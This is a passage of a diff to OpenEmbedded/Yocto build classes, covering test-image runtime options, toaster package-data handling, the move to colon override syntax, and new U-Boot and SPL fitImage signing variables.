- bb.fatal('File %s Not Found. Have you built the image with INHERIT+="testimage" in the conf/local.conf?' % tdname)
+ with open(tdname, "r") as f:
+ td = json.load(f)
+ except FileNotFoundError as err:
+ bb.fatal('File %s not found (%s).\nHave you built the image with INHERIT += "testimage" in the conf/local.conf?' % (tdname, err))
# Some variables need to be updates (mostly paths) with the
# ones of the current environment because some tests require them.
@@ -207,7 +260,7 @@ def testimage_main(d):
if d.getVar("TEST_TARGET") == "qemu":
fstypes = [fs for fs in fstypes if fs in supported_fstypes]
if not fstypes:
- bb.fatal('Unsupported image type built. Add a comptible image to '
+ bb.fatal('Unsupported image type built. Add a compatible image to '
'IMAGE_FSTYPES. Supported types: %s' %
', '.join(supported_fstypes))
qfstype = fstypes[0]
@@ -239,11 +292,14 @@ def testimage_main(d):
# Get use_kvm
kvm = oe.types.qemu_use_kvm(d.getVar('QEMU_USE_KVM'), d.getVar('TARGET_ARCH'))
+ # Get OVMF
+ ovmf = d.getVar("QEMU_USE_OVMF")
+
slirp = False
if d.getVar("QEMU_USE_SLIRP"):
slirp = True
- # TODO: We use the current implementatin of qemu runner because of
+ # TODO: We use the current implementation of qemu runner because of
# time constrains, qemu runner really needs a refactor too.
target_kwargs = { 'machine' : machine,
'rootfs' : rootfs,
@@ -256,17 +312,21 @@ def testimage_main(d):
'kvm' : kvm,
'slirp' : slirp,
'dump_dir' : d.getVar("TESTIMAGE_DUMP_DIR"),
+ 'serial_ports': len(d.getVar("SERIAL_CONSOLES").split()),
+ 'ovmf' : ovmf,
+ 'tmpfsdir' : d.getVar("RUNQEMU_TMPFS_DIR"),
}
- # TODO: Currently BBPATH is needed for custom loading of targets.
- # It would be better to find these modules using instrospection.
- target_kwargs['target_modules_path'] = d.getVar('BBPATH')
+ if d.getVar("TESTIMAGE_BOOT_PATTERNS"):
+ target_kwargs['boot_patterns'] = get_testimage_boot_patterns(d)
# hardware controlled targets might need further access
target_kwargs['powercontrol_cmd'] = d.getVar("TEST_POWERCONTROL_CMD") or None
target_kwargs['powercontrol_extra_args'] = d.getVar("TEST_POWERCONTROL_EXTRA_ARGS") or ""
target_kwargs['serialcontrol_cmd'] = d.getVar("TEST_SERIALCONTROL_CMD") or None
target_kwargs['serialcontrol_extra_args'] = d.getVar("TEST_SERIALCONTROL_EXTRA_ARGS") or ""
+ target_kwargs['testimage_dump_monitor'] = d.getVar("testimage_dump_monitor") or ""
+ target_kwargs['testimage_dump_target'] = d.getVar("testimage_dump_target") or ""
def export_ssh_agent(d):
import os
@@ -314,35 +374,50 @@ def testimage_main(d):
package_extraction(d, tc.suites)
results = None
+ complete = False
orig_sigterm_handler = signal.signal(signal.SIGTERM, sigterm_exception)
try:
# We need to check if runqemu ends unexpectedly
# or if the worker send us a SIGTERM
tc.target.start(params=d.getVar("TEST_QEMUPARAMS"), runqemuparams=d.getVar("TEST_RUNQEMUPARAMS"))
+ import threading
+ try:
+ threading.Timer(int(d.getVar("TEST_OVERALL_TIMEOUT")), handle_test_timeout, (int(d.getVar("TEST_OVERALL_TIMEOUT")),)).start()
+ except ValueError:
+ pass
results = tc.runTests()
- except (RuntimeError, BlockingIOError) as err:
- if isinstance(err, RuntimeError):
- bb.error('testimage received SIGTERM, shutting down...')
+ complete = True
+ except (KeyboardInterrupt, BlockingIOError) as err:
+ if isinstance(err, KeyboardInterrupt):
+ bb.error('testimage interrupted, shutting down...')
else:
bb.error('runqemu failed, shutting down...')
if results:
results.stop()
- results = None
+ results = tc.results
finally:
signal.signal(signal.SIGTERM, orig_sigterm_handler)
tc.target.stop()
# Show results (if we have them)
- if not results:
- bb.fatal('%s - FAILED - tests were interrupted during execution' % pn, forcelog=True)
- configuration = get_testimage_configuration(d, 'runtime', machine)
- results.logDetails(get_testimage_json_result_dir(d),
- configuration,
- get_testimage_result_id(configuration),
- dump_streams=d.getVar('TESTREPORT_FULLLOGS'))
- results.logSummary(pn)
+ if results:
+ configuration = get_testimage_configuration(d, 'runtime', machine)
+ results.logDetails(get_testimage_json_result_dir(d),
+ configuration,
+ get_testimage_result_id(configuration),
+ dump_streams=d.getVar('TESTREPORT_FULLLOGS'))
+ results.logSummary(pn)
+
+ # Copy additional logs to tmp/log/oeqa so it's easier to find them
+ targetdir = os.path.join(get_testimage_json_result_dir(d), d.getVar("PN"))
+ os.makedirs(targetdir, exist_ok=True)
+ os.symlink(bootlog, os.path.join(targetdir, os.path.basename(bootlog)))
+ os.symlink(d.getVar("BB_LOGFILE"), os.path.join(targetdir, os.path.basename(d.getVar("BB_LOGFILE") + "." + d.getVar('DATETIME'))))
+
+ if not results or not complete:
+ bb.fatal('%s - FAILED - tests were interrupted during execution, check the logs in %s' % (pn, d.getVar("LOG_DIR")), forcelog=True)
if not results.wasSuccessful():
- bb.fatal('%s - FAILED - check the task log and the ssh log' % pn, forcelog=True)
+ bb.fatal('%s - FAILED - also check the logs in %s' % (pn, d.getVar("LOG_DIR")), forcelog=True)
def get_runtime_paths(d):
"""
diff --git a/meta/classes/testsdk.bbclass b/meta/classes/testsdk.bbclass
index 758a23ac55..8b2e74f606 100644
--- a/meta/classes/testsdk.bbclass
+++ b/meta/classes/testsdk.bbclass
@@ -36,12 +36,14 @@ python do_testsdk() {
}
addtask testsdk
do_testsdk[nostamp] = "1"
+do_testsdk[network] = "1"
python do_testsdkext() {
import_and_run('TESTSDKEXT_CLASS_NAME', d)
}
addtask testsdkext
do_testsdkext[nostamp] = "1"
+do_testsdkext[network] = "1"
python () {
if oe.types.boolean(d.getVar("TESTIMAGE_AUTO") or "False"):
diff --git a/meta/classes/texinfo.bbclass b/meta/classes/texinfo.bbclass
index 6b0def0eac..68c9d4fb70 100644
--- a/meta/classes/texinfo.bbclass
+++ b/meta/classes/texinfo.bbclass
@@ -6,13 +6,13 @@
# Texinfo recipe, you can remove texinfo-native from ASSUME_PROVIDED and
# makeinfo from SANITY_REQUIRED_UTILITIES.
-TEXDEP = "texinfo-native"
-TEXDEP_class-native = "texinfo-dummy-native"
-TEXDEP_class-cross = "texinfo-dummy-native"
-DEPENDS_append = " ${TEXDEP}"
-PATH_prepend_class-native = "${STAGING_BINDIR_NATIVE}/texinfo-dummy-native:"
-PATH_prepend_class-cross = "${STAGING_BINDIR_NATIVE}/texinfo-dummy-native:"
+TEXDEP = "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'texinfo-replacement-native', 'texinfo-dummy-native', d)}"
+TEXDEP:class-native = "texinfo-dummy-native"
+TEXDEP:class-cross = "texinfo-dummy-native"
+TEXDEP:class-crosssdk = "texinfo-dummy-native"
+TEXDEP:class-cross-canadian = "texinfo-dummy-native"
+DEPENDS:append = " ${TEXDEP}"
# libtool-cross doesn't inherit cross
-TEXDEP_pn-libtool-cross = "texinfo-dummy-native"
-PATH_prepend_pn-libtool-cross = "${STAGING_BINDIR_NATIVE}/texinfo-dummy-native:"
+TEXDEP:pn-libtool-cross = "texinfo-dummy-native"
+
diff --git a/meta/classes/toaster.bbclass b/meta/classes/toaster.bbclass
index 6cef0b8f6e..dd5c7f224b 100644
--- a/meta/classes/toaster.bbclass
+++ b/meta/classes/toaster.bbclass
@@ -106,14 +106,14 @@ def _toaster_load_pkgdatafile(dirpath, filepath):
pkgdata['OPKGN'] = m.group(1)
kn = "_".join([x for x in kn.split("_") if x.isupper()])
pkgdata[kn] = kv.strip()
- if kn == 'FILES_INFO':
+ if kn.startswith('FILES_INFO'):
pkgdata[kn] = json.loads(kv)
except ValueError:
pass # ignore lines without valid key: value pairs
return pkgdata
-python toaster_package_dumpdata() {
+def _toaster_dumpdata(pkgdatadir, d):
"""
Dumps the data about the packages created by a recipe
"""
@@ -122,16 +122,24 @@ python toaster_package_dumpdata() {
if not d.getVar('PACKAGES'):
return
- pkgdatadir = d.getVar('PKGDESTWORK')
lpkgdata = {}
datadir = os.path.join(pkgdatadir, 'runtime')
# scan and send data for each generated package
- for datafile in os.listdir(datadir):
- if not datafile.endswith('.packaged'):
- lpkgdata = _toaster_load_pkgdatafile(datadir, datafile)
- # Fire an event containing the pkg data
- bb.event.fire(bb.event.MetadataEvent("SinglePackageInfo", lpkgdata), d)
+ if os.path.exists(datadir):
+ for datafile in os.listdir(datadir):
+ if not datafile.endswith('.packaged'):
+ lpkgdata = _toaster_load_pkgdatafile(datadir, datafile)
+ # Fire an event containing the pkg data
+ bb.event.fire(bb.event.MetadataEvent("SinglePackageInfo", lpkgdata), d)
+
+python toaster_package_dumpdata() {
+ _toaster_dumpdata(d.getVar('PKGDESTWORK'), d)
+}
+
+python toaster_packagedata_dumpdata() {
+ # This path needs to match do_packagedata[sstate-inputdirs]
+ _toaster_dumpdata(os.path.join(d.getVar('WORKDIR'), 'pkgdata-pdata-input'), d)
}
# 2. Dump output image files information
@@ -366,8 +374,8 @@ toaster_buildhistory_dump[eventmask] = "bb.event.BuildCompleted"
addhandler toaster_artifacts
toaster_artifacts[eventmask] = "bb.runqueue.runQueueTaskSkipped bb.runqueue.runQueueTaskCompleted"
-do_packagedata_setscene[postfuncs] += "toaster_package_dumpdata "
-do_packagedata_setscene[vardepsexclude] += "toaster_package_dumpdata "
+do_packagedata_setscene[postfuncs] += "toaster_packagedata_dumpdata "
+do_packagedata_setscene[vardepsexclude] += "toaster_packagedata_dumpdata "
do_package[postfuncs] += "toaster_package_dumpdata "
do_package[vardepsexclude] += "toaster_package_dumpdata "
diff --git a/meta/classes/toolchain-scripts.bbclass b/meta/classes/toolchain-scripts.bbclass
index db1d3215ef..8f914cce27 100644
--- a/meta/classes/toolchain-scripts.bbclass
+++ b/meta/classes/toolchain-scripts.bbclass
@@ -3,11 +3,13 @@ inherit toolchain-scripts-base siteinfo kernel-arch
# We want to be able to change the value of MULTIMACH_TARGET_SYS, because it
# doesn't always match our expectations... but we default to the stock value
REAL_MULTIMACH_TARGET_SYS ?= "${MULTIMACH_TARGET_SYS}"
-TARGET_CC_ARCH_append_libc-musl = " -mmusl"
+TARGET_CC_ARCH:append:libc-musl = " -mmusl"
# default debug prefix map isn't valid in the SDK
DEBUG_PREFIX_MAP = ""
+EXPORT_SDK_PS1 = "${@ 'export PS1=\\"%s\\"' % d.getVar('SDK_PS1') if d.getVar('SDK_PS1') else ''}"
+
# This function creates an environment-setup-script for use in a deployable SDK
toolchain_create_sdk_env_script () {
# Create environment setup script. Remember that $SDKTARGETSYSROOT should
@@ -39,6 +41,7 @@ toolchain_create_sdk_env_script () {
echo ' return 1' >> $script
echo 'fi' >> $script
+ echo "${EXPORT_SDK_PS1}" >> $script
echo 'export SDKTARGETSYSROOT='"$sysroot" >> $script
EXTRAPATH=""
for i in ${CANADIANEXTRAOS}; do
@@ -62,6 +65,7 @@ toolchain_create_sdk_env_script () {
# This function creates an environment-setup-script in the TMPDIR which enables
# a OE-core IDE to integrate with the build tree
+# Caller must ensure CONFIG_SITE is setup
toolchain_create_tree_env_script () {
script=${TMPDIR}/environment-setup-${REAL_MULTIMACH_TARGET_SYS}
rm -f $script
@@ -70,7 +74,7 @@ toolchain_create_tree_env_script () {
echo 'export PATH=${STAGING_DIR_NATIVE}/usr/bin:${STAGING_BINDIR_TOOLCHAIN}:$PATH' >> $script
echo 'export PKG_CONFIG_SYSROOT_DIR=${PKG_CONFIG_SYSROOT_DIR}' >> $script
echo 'export PKG_CONFIG_PATH=${PKG_CONFIG_PATH}' >> $script
- echo 'export CONFIG_SITE="${@siteinfo_get_files(d)}"' >> $script
+ echo 'export CONFIG_SITE="${CONFIG_SITE}"' >> $script
echo 'export SDKTARGETSYSROOT=${STAGING_DIR_TARGET}' >> $script
echo 'export OECORE_NATIVE_SYSROOT="${STAGING_DIR_NATIVE}"' >> $script
echo 'export OECORE_TARGET_SYSROOT="${STAGING_DIR_TARGET}"' >> $script
@@ -158,7 +162,7 @@ EOF
}
#we get the cached site config in the runtime
-TOOLCHAIN_CONFIGSITE_NOCACHE = "${@siteinfo_get_files(d)}"
+TOOLCHAIN_CONFIGSITE_NOCACHE = "${@' '.join(siteinfo_get_files(d)[0])}"
TOOLCHAIN_CONFIGSITE_SYSROOTCACHE = "${STAGING_DIR}/${MLPREFIX}${MACHINE}/${target_datadir}/${TARGET_SYS}_config_site.d"
TOOLCHAIN_NEED_CONFIGSITE_CACHE ??= "virtual/${MLPREFIX}libc ncurses"
DEPENDS += "${TOOLCHAIN_NEED_CONFIGSITE_CACHE}"
diff --git a/meta/classes/uboot-config.bbclass b/meta/classes/uboot-config.bbclass
index 89ff970fcc..b9ad35821a 100644
--- a/meta/classes/uboot-config.bbclass
+++ b/meta/classes/uboot-config.bbclass
@@ -11,7 +11,79 @@
#
# Copyright 2013, 2014 (C) O.S. Systems Software LTDA.
+def removesuffix(s, suffix):
+ if suffix and s.endswith(suffix):
+ return s[:-len(suffix)]
+ return s
+
+# Some versions of u-boot use .bin and others use .img. By default use .bin
+# but enable individual recipes to change this value.
+UBOOT_SUFFIX ??= "bin"
UBOOT_BINARY ?= "u-boot.${UBOOT_SUFFIX}"
+UBOOT_BINARYNAME ?= "${@os.path.splitext(d.getVar("UBOOT_BINARY"))[0]}"
+UBOOT_IMAGE ?= "${UBOOT_BINARYNAME}-${MACHINE}-${PV}-${PR}.${UBOOT_SUFFIX}"
+UBOOT_SYMLINK ?= "${UBOOT_BINARYNAME}-${MACHINE}.${UBOOT_SUFFIX}"
+UBOOT_MAKE_TARGET ?= "all"
+
+# Output the ELF generated. Some platforms can use the ELF file and directly
+# load it (JTAG booting, QEMU) additionally the ELF can be used for debugging
+# purposes.
+UBOOT_ELF ?= ""
+UBOOT_ELF_SUFFIX ?= "elf"
+UBOOT_ELF_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.${UBOOT_ELF_SUFFIX}"
+UBOOT_ELF_BINARY ?= "u-boot.${UBOOT_ELF_SUFFIX}"
+UBOOT_ELF_SYMLINK ?= "u-boot-${MACHINE}.${UBOOT_ELF_SUFFIX}"
+
+# Some versions of u-boot build an SPL (Second Program Loader) image that
+# should be packaged along with the u-boot binary as well as placed in the
+# deploy directory. For those versions they can set the following variables
+# to allow packaging the SPL.
+SPL_SUFFIX ?= ""
+SPL_BINARY ?= ""
+SPL_DELIMITER ?= "${@'.' if d.getVar("SPL_SUFFIX") else ''}"
+SPL_BINARYFILE ?= "${@os.path.basename(d.getVar("SPL_BINARY"))}"
+SPL_BINARYNAME ?= "${@removesuffix(d.getVar("SPL_BINARYFILE"), "." + d.getVar("SPL_SUFFIX"))}"
+SPL_IMAGE ?= "${SPL_BINARYNAME}-${MACHINE}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX}"
+SPL_SYMLINK ?= "${SPL_BINARYNAME}-${MACHINE}${SPL_DELIMITER}${SPL_SUFFIX}"
+
+# Additional environment variables or a script can be installed alongside
+# u-boot to be used automatically on boot. This file, typically 'uEnv.txt'
+# or 'boot.scr', should be packaged along with u-boot as well as placed in the
+# deploy directory. Machine configurations needing one of these files should
+# include it in the SRC_URI and set the UBOOT_ENV parameter.
+UBOOT_ENV_SUFFIX ?= "txt"
+UBOOT_ENV ?= ""
+UBOOT_ENV_SRC_SUFFIX ?= "cmd"
+UBOOT_ENV_SRC ?= "${UBOOT_ENV}.${UBOOT_ENV_SRC_SUFFIX}"
+UBOOT_ENV_BINARY ?= "${UBOOT_ENV}.${UBOOT_ENV_SUFFIX}"
+UBOOT_ENV_IMAGE ?= "${UBOOT_ENV}-${MACHINE}-${PV}-${PR}.${UBOOT_ENV_SUFFIX}"
+UBOOT_ENV_SYMLINK ?= "${UBOOT_ENV}-${MACHINE}.${UBOOT_ENV_SUFFIX}"
+
+# Default name of u-boot initial env, but enable individual recipes to change
+# this value.
+UBOOT_INITIAL_ENV ?= "${PN}-initial-env"
+
+# U-Boot EXTLINUX variables. U-Boot searches for /boot/extlinux/extlinux.conf
+# to find EXTLINUX conf file.
+UBOOT_EXTLINUX_INSTALL_DIR ?= "/boot/extlinux"
+UBOOT_EXTLINUX_CONF_NAME ?= "extlinux.conf"
+UBOOT_EXTLINUX_SYMLINK ?= "${UBOOT_EXTLINUX_CONF_NAME}-${MACHINE}-${PR}"
+
+# Options for the device tree compiler passed to mkimage '-D' feature:
+UBOOT_MKIMAGE_DTCOPTS ??= ""
+SPL_MKIMAGE_DTCOPTS ??= ""
+
+# mkimage command
+UBOOT_MKIMAGE ?= "uboot-mkimage"
+UBOOT_MKIMAGE_SIGN ?= "${UBOOT_MKIMAGE}"
+
+# Arguments passed to mkimage for signing
+UBOOT_MKIMAGE_SIGN_ARGS ?= ""
+SPL_MKIMAGE_SIGN_ARGS ?= ""
+
+# Options to deploy the u-boot device tree
+UBOOT_DTB ?= ""
+UBOOT_DTB_BINARY ??= ""
python () {
ubootmachine = d.getVar("UBOOT_MACHINE")
diff --git a/meta/classes/uboot-extlinux-config.bbclass b/meta/classes/uboot-extlinux-config.bbclass
index f4bf94be04..dcebe7ff31 100644
--- a/meta/classes/uboot-extlinux-config.bbclass
+++ b/meta/classes/uboot-extlinux-config.bbclass
@@ -64,7 +64,7 @@ UBOOT_EXTLINUX_FDT ??= ""
UBOOT_EXTLINUX_FDTDIR ??= "../"
UBOOT_EXTLINUX_KERNEL_IMAGE ??= "../${KERNEL_IMAGETYPE}"
UBOOT_EXTLINUX_KERNEL_ARGS ??= "rootwait rw"
-UBOOT_EXTLINUX_MENU_DESCRIPTION_linux ??= "${DISTRO_NAME}"
+UBOOT_EXTLINUX_MENU_DESCRIPTION:linux ??= "${DISTRO_NAME}"
UBOOT_EXTLINUX_CONFIG = "${B}/extlinux.conf"
@@ -153,5 +153,6 @@ python do_create_extlinux_config() {
}
UBOOT_EXTLINUX_VARS = "CONSOLE MENU_DESCRIPTION ROOT KERNEL_IMAGE FDTDIR FDT KERNEL_ARGS INITRD"
do_create_extlinux_config[vardeps] += "${@' '.join(['UBOOT_EXTLINUX_%s_%s' % (v, l) for v in d.getVar('UBOOT_EXTLINUX_VARS').split() for l in d.getVar('UBOOT_EXTLINUX_LABELS').split()])}"
+do_create_extlinux_config[vardepsexclude] += "OVERRIDES"
addtask create_extlinux_config before do_install do_deploy after do_compile
diff --git a/meta/classes/uboot-sign.bbclass b/meta/classes/uboot-sign.bbclass
index 982ed46d01..8d136e9405 100644
--- a/meta/classes/uboot-sign.bbclass
+++ b/meta/classes/uboot-sign.bbclass
@@ -19,7 +19,7 @@
# The tasks sequence is set as below, using DEPLOY_IMAGE_DIR as common place to
# treat the device tree blob:
#
-# * u-boot:do_install_append
+# * u-boot:do_install:append
# Install UBOOT_DTB_BINARY to datadir, so that kernel can use it for
# signing, and kernel will deploy UBOOT_DTB_BINARY after signs it.
#
@@ -31,19 +31,81 @@
#
# For more details on signature process, please refer to U-Boot documentation.
-# Signature activation.
+# We need some variables from u-boot-config
+inherit uboot-config
+
+# Enable use of a U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE ?= "0"
+
+# Signature activation - these require their respective fitImages
UBOOT_SIGN_ENABLE ?= "0"
+SPL_SIGN_ENABLE ?= "0"
# Default value for deployment filenames.
UBOOT_DTB_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.dtb"
UBOOT_DTB_BINARY ?= "u-boot.dtb"
UBOOT_DTB_SYMLINK ?= "u-boot-${MACHINE}.dtb"
-UBOOT_NODTB_IMAGE ?= "u-boot-nodtb-${MACHINE}-${PV}-${PR}.${UBOOT_SUFFIX}"
-UBOOT_NODTB_BINARY ?= "u-boot-nodtb.${UBOOT_SUFFIX}"
-UBOOT_NODTB_SYMLINK ?= "u-boot-nodtb-${MACHINE}.${UBOOT_SUFFIX}"
+UBOOT_NODTB_IMAGE ?= "u-boot-nodtb-${MACHINE}-${PV}-${PR}.bin"
+UBOOT_NODTB_BINARY ?= "u-boot-nodtb.bin"
+UBOOT_NODTB_SYMLINK ?= "u-boot-nodtb-${MACHINE}.bin"
+UBOOT_ITS_IMAGE ?= "u-boot-its-${MACHINE}-${PV}-${PR}"
+UBOOT_ITS ?= "u-boot.its"
+UBOOT_ITS_SYMLINK ?= "u-boot-its-${MACHINE}"
+UBOOT_FITIMAGE_IMAGE ?= "u-boot-fitImage-${MACHINE}-${PV}-${PR}"
+UBOOT_FITIMAGE_BINARY ?= "u-boot-fitImage"
+UBOOT_FITIMAGE_SYMLINK ?= "u-boot-fitImage-${MACHINE}"
+SPL_DIR ?= "spl"
+SPL_DTB_IMAGE ?= "u-boot-spl-${MACHINE}-${PV}-${PR}.dtb"
+SPL_DTB_BINARY ?= "u-boot-spl.dtb"
+SPL_DTB_SYMLINK ?= "u-boot-spl-${MACHINE}.dtb"
+SPL_NODTB_IMAGE ?= "u-boot-spl-nodtb-${MACHINE}-${PV}-${PR}.bin"
+SPL_NODTB_BINARY ?= "u-boot-spl-nodtb.bin"
+SPL_NODTB_SYMLINK ?= "u-boot-spl-nodtb-${MACHINE}.bin"
+
+# U-Boot fitImage description
+UBOOT_FIT_DESC ?= "U-Boot fitImage for ${DISTRO_NAME}/${PV}/${MACHINE}"
+
+# Kernel / U-Boot fitImage Hash Algo
+FIT_HASH_ALG ?= "sha256"
+UBOOT_FIT_HASH_ALG ?= "sha256"
+
+# Kernel / U-Boot fitImage Signature Algo
+FIT_SIGN_ALG ?= "rsa2048"
+UBOOT_FIT_SIGN_ALG ?= "rsa2048"
+
+# Generate keys for signing Kernel / U-Boot fitImage
+FIT_GENERATE_KEYS ?= "0"
+UBOOT_FIT_GENERATE_KEYS ?= "0"
-# Functions in this bbclass is for u-boot only
+# Size of private keys in number of bits
+FIT_SIGN_NUMBITS ?= "2048"
+UBOOT_FIT_SIGN_NUMBITS ?= "2048"
+
+# args to openssl genrsa (Default is just the public exponent)
+FIT_KEY_GENRSA_ARGS ?= "-F4"
+UBOOT_FIT_KEY_GENRSA_ARGS ?= "-F4"
+
+# args to openssl req (Default is -batch for non interactive mode and
+# -new for new certificate)
+FIT_KEY_REQ_ARGS ?= "-batch -new"
+UBOOT_FIT_KEY_REQ_ARGS ?= "-batch -new"
+
+# Standard format for public key certificate
+FIT_KEY_SIGN_PKCS ?= "-x509"
+UBOOT_FIT_KEY_SIGN_PKCS ?= "-x509"
+
+# Functions on this bbclass can apply to either U-boot or Kernel,
+# depending on the scenario
UBOOT_PN = "${@d.getVar('PREFERRED_PROVIDER_u-boot') or 'u-boot'}"
+KERNEL_PN = "${@d.getVar('PREFERRED_PROVIDER_virtual/kernel')}"
+
+# We need u-boot-tools-native if we're creating a U-Boot fitImage
+python() {
+ if d.getVar('UBOOT_FITIMAGE_ENABLE') == '1':
+ depends = d.getVar("DEPENDS")
+ depends = "%s u-boot-tools-native dtc-native" % depends
+ d.setVar("DEPENDS", depends)
+}
concat_dtb_helper() {
if [ -e "${UBOOT_DTB_BINARY}" ]; then
@@ -57,28 +119,65 @@ concat_dtb_helper() {
ln -sf ${UBOOT_NODTB_IMAGE} ${DEPLOYDIR}/${UBOOT_NODTB_BINARY}
fi
- # Concatenate U-Boot w/o DTB & DTB with public key
- # (cf. kernel-fitimage.bbclass for more details)
- deployed_uboot_dtb_binary='${DEPLOY_DIR_IMAGE}/${UBOOT_DTB_IMAGE}'
- if [ "x${UBOOT_SUFFIX}" = "ximg" -o "x${UBOOT_SUFFIX}" = "xrom" ] && \
- [ -e "$deployed_uboot_dtb_binary" ]; then
- oe_runmake EXT_DTB=$deployed_uboot_dtb_binary
- install ${UBOOT_BINARY} ${DEPLOYDIR}/${UBOOT_IMAGE}
- elif [ -e "${DEPLOYDIR}/${UBOOT_NODTB_IMAGE}" -a -e "$deployed_uboot_dtb_binary" ]; then
+ # If we're not using a signed u-boot fit, concatenate SPL w/o DTB & U-Boot DTB
+ # with public key (otherwise it will be deployed by the equivalent
+ # concat_spl_dtb_helper function - cf. kernel-fitimage.bbclass for more details)
+ if [ "${SPL_SIGN_ENABLE}" != "1" ] ; then
+ deployed_uboot_dtb_binary='${DEPLOY_DIR_IMAGE}/${UBOOT_DTB_IMAGE}'
+ if [ "x${UBOOT_SUFFIX}" = "ximg" -o "x${UBOOT_SUFFIX}" = "xrom" ] && \
+ [ -e "$deployed_uboot_dtb_binary" ]; then
+ oe_runmake EXT_DTB=$deployed_uboot_dtb_binary
+ install ${UBOOT_BINARY} ${DEPLOYDIR}/${UBOOT_IMAGE}
+ elif [ -e "${DEPLOYDIR}/${UBOOT_NODTB_IMAGE}" -a -e "$deployed_uboot_dtb_binary" ]; then
+ cd ${DEPLOYDIR}
+ cat ${UBOOT_NODTB_IMAGE} $deployed_uboot_dtb_binary | tee ${B}/${CONFIG_B_PATH}/${UBOOT_BINARY} > ${UBOOT_IMAGE}
+
+ if [ -n "${UBOOT_CONFIG}" ]
+ then
+ for config in ${UBOOT_MACHINE}; do
+ i=$(expr $i + 1);
+ for type in ${UBOOT_CONFIG}; do
+ j=$(expr $j + 1);
+ if [ $j -eq $i ]
+ then
+ cp ${UBOOT_IMAGE} ${B}/${CONFIG_B_PATH}/u-boot-$type.${UBOOT_SUFFIX}
+ fi
+ done
+ done
+ fi
+ else
+ bbwarn "Failure while adding public key to u-boot binary. Verified boot won't be available."
+ fi
+ fi
+}
+
+concat_spl_dtb_helper() {
+
+ # We only deploy symlinks to the u-boot-spl.dtb,as the KERNEL_PN will
+ # be responsible for deploying the real file
+ if [ -e "${SPL_DIR}/${SPL_DTB_BINARY}" ] ; then
+ ln -sf ${SPL_DTB_IMAGE} ${DEPLOYDIR}/${SPL_DTB_SYMLINK}
+ ln -sf ${SPL_DTB_IMAGE} ${DEPLOYDIR}/${SPL_DTB_BINARY}
+ fi
+
+ # Concatenate the SPL nodtb binary and u-boot.dtb
+ deployed_spl_dtb_binary='${DEPLOY_DIR_IMAGE}/${SPL_DTB_IMAGE}'
+ if [ -e "${DEPLOYDIR}/${SPL_NODTB_IMAGE}" -a -e "$deployed_spl_dtb_binary" ] ; then
cd ${DEPLOYDIR}
- cat ${UBOOT_NODTB_IMAGE} $deployed_uboot_dtb_binary | tee ${B}/${CONFIG_B_PATH}/${UBOOT_BINARY} > ${UBOOT_IMAGE}
+ cat ${SPL_NODTB_IMAGE} $deployed_spl_dtb_binary | tee ${B}/${CONFIG_B_PATH}/${SPL_BINARY} > ${SPL_IMAGE}
else
- bbwarn "Failure while adding public key to u-boot binary. Verified boot won't be available."
+ bbwarn "Failure while adding public key to spl binary. Verified U-Boot boot won't be available."
fi
}
+
concat_dtb() {
if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${PN}" = "${UBOOT_PN}" -a -n "${UBOOT_DTB_BINARY}" ]; then
mkdir -p ${DEPLOYDIR}
if [ -n "${UBOOT_CONFIG}" ]; then
for config in ${UBOOT_MACHINE}; do
- CONFIG_B_PATH="${config}"
- cd ${B}/${config}
+ CONFIG_B_PATH="$config"
+ cd ${B}/$config
concat_dtb_helper
done
else
@@ -89,43 +188,307 @@ concat_dtb() {
fi
}
+concat_spl_dtb() {
+ if [ "${SPL_SIGN_ENABLE}" = "1" -a "${PN}" = "${UBOOT_PN}" -a -n "${SPL_DTB_BINARY}" ]; then
+ mkdir -p ${DEPLOYDIR}
+ if [ -n "${UBOOT_CONFIG}" ]; then
+ for config in ${UBOOT_MACHINE}; do
+ CONFIG_B_PATH="$config"
+ cd ${B}/$config
+ concat_spl_dtb_helper
+ done
+ else
+ CONFIG_B_PATH=""
+ cd ${B}
+ concat_spl_dtb_helper
+ fi
+ fi
+}
+
+
# Install UBOOT_DTB_BINARY to datadir, so that kernel can use it for
# signing, and kernel will deploy UBOOT_DTB_BINARY after signs it.
install_helper() {
if [ -f "${UBOOT_DTB_BINARY}" ]; then
- install -d ${D}${datadir}
# UBOOT_DTB_BINARY is a symlink to UBOOT_DTB_IMAGE, so we
# need both of them.
- install ${UBOOT_DTB_BINARY} ${D}${datadir}/${UBOOT_DTB_IMAGE}
+ install -Dm 0644 ${UBOOT_DTB_BINARY} ${D}${datadir}/${UBOOT_DTB_IMAGE}
ln -sf ${UBOOT_DTB_IMAGE} ${D}${datadir}/${UBOOT_DTB_BINARY}
else
bbwarn "${UBOOT_DTB_BINARY} not found"
fi
}
-do_install_append() {
- if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${PN}" = "${UBOOT_PN}" -a -n "${UBOOT_DTB_BINARY}" ]; then
+# Install SPL dtb and u-boot nodtb to datadir,
+install_spl_helper() {
+ if [ -f "${SPL_DIR}/${SPL_DTB_BINARY}" ]; then
+ install -Dm 0644 ${SPL_DIR}/${SPL_DTB_BINARY} ${D}${datadir}/${SPL_DTB_IMAGE}
+ ln -sf ${SPL_DTB_IMAGE} ${D}${datadir}/${SPL_DTB_BINARY}
+ else
+ bbwarn "${SPL_DTB_BINARY} not found"
+ fi
+ if [ -f "${UBOOT_NODTB_BINARY}" ] ; then
+ install -Dm 0644 ${UBOOT_NODTB_BINARY} ${D}${datadir}/${UBOOT_NODTB_IMAGE}
+ ln -sf ${UBOOT_NODTB_IMAGE} ${D}${datadir}/${UBOOT_NODTB_BINARY}
+ else
+ bbwarn "${UBOOT_NODTB_BINARY} not found"
+ fi
+
+ # We need to install a 'stub' u-boot-fitimage + its to datadir,
+ # so that the KERNEL_PN can use the correct filename when
+ # assembling and deploying them
+ touch ${D}/${datadir}/${UBOOT_FITIMAGE_IMAGE}
+ touch ${D}/${datadir}/${UBOOT_ITS_IMAGE}
+}
+
+do_install:append() {
+ if [ "${PN}" = "${UBOOT_PN}" ]; then
if [ -n "${UBOOT_CONFIG}" ]; then
for config in ${UBOOT_MACHINE}; do
- cd ${B}/${config}
- install_helper
+ cd ${B}/$config
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -o "${UBOOT_FITIMAGE_ENABLE}" = "1" ] && \
+ [ -n "${UBOOT_DTB_BINARY}" ]; then
+ install_helper
+ fi
